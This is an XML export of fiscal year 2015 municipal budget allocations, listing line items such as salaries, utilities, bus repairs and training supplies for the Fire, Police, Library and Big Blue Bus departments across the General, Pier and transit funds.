<row _id="13833"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>13903419.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13903419.0</total></row>
<row _id="13834"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>588200.0</object><object_description>BLDG RENOVATION / MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>27672.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27672.0</total></row>
<row _id="13835"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1489082.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1489082.0</total></row>
<row _id="13836"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2409307.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2409307.0</total></row>
<row _id="13837"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>305.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>305.0</total></row>
<row _id="13838"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="13839"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2661.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2661.0</total></row>
<row _id="13840"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>94773.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>94773.0</total></row>
<row _id="13841"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>131408.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>131408.0</total></row>
<row _id="13842"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>350540.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>350540.0</total></row>
<row _id="13843"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24711.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24711.0</total></row>
<row _id="13844"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>535.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>535.0</total></row>
<row _id="13845"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>114229.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>114229.0</total></row>
<row _id="13846"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="13847"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="13848"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555011.0</object><object_description>OUTSIDE REPAIRS - BUSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1254525.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1254525.0</total></row>
<row _id="13849"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4920.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4920.0</total></row>
<row _id="13850"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522045.0</object><object_description>PAYOUTS FOR UNINSURED PL/PD</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500000.0</total></row>
<row _id="13851"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>74000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>74000.0</total></row>
<row _id="13852"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7126.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7126.0</total></row>
<row _id="13853"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3120.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3120.0</total></row>
<row _id="13854"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>588070.0</object><object_description>EDUC &amp; RECREATIONAL EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13837.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13837.0</total></row>
<row _id="13855"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1065.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1065.0</total></row>
<row _id="13856"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>105.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105.0</total></row>
<row _id="13857"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3861.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3861.0</total></row>
<row _id="13858"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1043.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1043.0</total></row>
<row _id="13859"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3662.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3662.0</total></row>
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<row _id="13862"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5739.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5739.0</total></row>
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<row _id="13864"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>104532.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>104532.0</total></row>
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<row _id="13870"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522042.0</object><object_description>RECOVERIES OF PHYSICAL DAMAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13871"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="13872"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>23554.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23554.0</total></row>
<row _id="13873"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>80000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80000.0</total></row>
<row _id="13874"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544220.0</object><object_description>REPAIR PARTS AND MATERIALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1358773.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1358773.0</total></row>
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<row _id="13877"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1021.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1021.0</total></row>
<row _id="13878"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>231138.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>231138.0</total></row>
<row _id="13879"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11000.0</total></row>
<row _id="13880"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>51775.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51775.0</total></row>
<row _id="13881"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9011.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9011.0</total></row>
<row _id="13882"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9601.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9601.0</total></row>
<row _id="13883"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>533160.0</object><object_description>PHOTO EQUIPMENT MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2038.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2038.0</total></row>
<row _id="13884"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>574.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>574.0</total></row>
<row _id="13885"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>731.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>731.0</total></row>
<row _id="13886"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13887"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>32580.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32580.0</total></row>
<row _id="13888"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>29174.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29174.0</total></row>
<row _id="13889"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3087.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3087.0</total></row>
<row _id="13890"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>44775.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44775.0</total></row>
<row _id="13891"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>588070.0</object><object_description>EDUC &amp; RECREATIONAL EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9047.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9047.0</total></row>
